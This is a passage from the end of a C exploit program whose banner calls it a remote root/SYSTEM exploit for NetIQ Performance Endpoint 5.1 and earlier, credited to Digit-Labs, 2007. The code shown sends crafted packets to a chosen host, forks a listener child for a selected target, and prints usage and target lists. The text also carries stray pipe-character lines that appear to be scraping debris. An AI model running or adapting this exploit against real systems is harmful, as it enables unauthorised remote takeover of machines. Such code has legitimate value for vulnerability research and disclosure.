pkt_ptr = endpt_create_packet (pkt_buf, ptr - pkt_buf);
|
||
printf ("done\n");
|
||
|
||
sock_send (fd, pkt_ptr, (ptr - pkt_buf) + 2);
|
||
|
||
printf ("[parent-%d] building third packet...done\n", ppid);
|
||
sock_send (fd, pkt_ptr, (ptr - pkt_buf) + 2);
|
||
free (pkt_ptr);
|
||
|
||
sleep (2);
|
||
printf ("[parent-%d] closing socket...done\n", ppid);
|
||
close (fd);
|
||
}
|
||
|
||
int
|
||
main (int argc, char **argv)
|
||
{
|
||
struct target_t *trgt;
|
||
int i, cret;
|
||
|
||
printf ("NetIQ Performance Endpoint <=5.1 remote root/SYSTEM exploit\n"
|
||
"by: <mu-b@digit-labs.org>\n"
|
||
"http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
|
||
|
||
if (argc <= 2)
|
||
{
|
||
fprintf (stderr, "Usage: %s <host> <target>\n", argv[0]);
|
||
|
||
for (i = 0; targets[i].name; i++)
|
||
fprintf (stderr, "\t%d) %s\n", i, targets[i].name);
|
||
fprintf (stderr, "\n");
|
||
|
||
exit (EXIT_SUCCESS);
|
||
}
|
||
|
||
if (atoi (argv[2]) >= NUM_TARGETS)
|
||
{
|
||
fprintf (stderr, "Only %d targets known!!\n", NUM_TARGETS);
|
||
exit (EXIT_SUCCESS);
|
||
}
|
||
|
||
trgt = &targets[atoi (argv[2])];
|
||
printf ("Target: %s\n\n", trgt->name);
|
||
|
||
srand (time (NULL));
|
||
printf ("%s\n\t- https://tinyurl.com/lgmblyj\n\n", quotes[rand() & 1]);
|
||
|
||
ppid = getpid ();
|
||
if ((cpid = fork ()) < 0)
|
||
{
|
||
perror ("fark()");
|
||
exit (EXIT_FAILURE);
|
||
}
|
||
else if (cpid == 0)
|
||
{
|
||
/* child */
|
||
endpt_listen_child (argv[1], trgt);
|
||
exit (EXIT_SUCCESS);
|
||
}
|
||
|
||
/* parent */
|
||
endpt_parent (argv[1]);
|
||
|
||
/* wait for child */
|
||
wait (&cret);
|
||
if (verbose)
|
||
fprintf (stderr, "[parent-%d] child-%d exited %d\n", ppid, cpid, cret);
|
||
|
||
return (EXIT_SUCCESS);
|
||
} |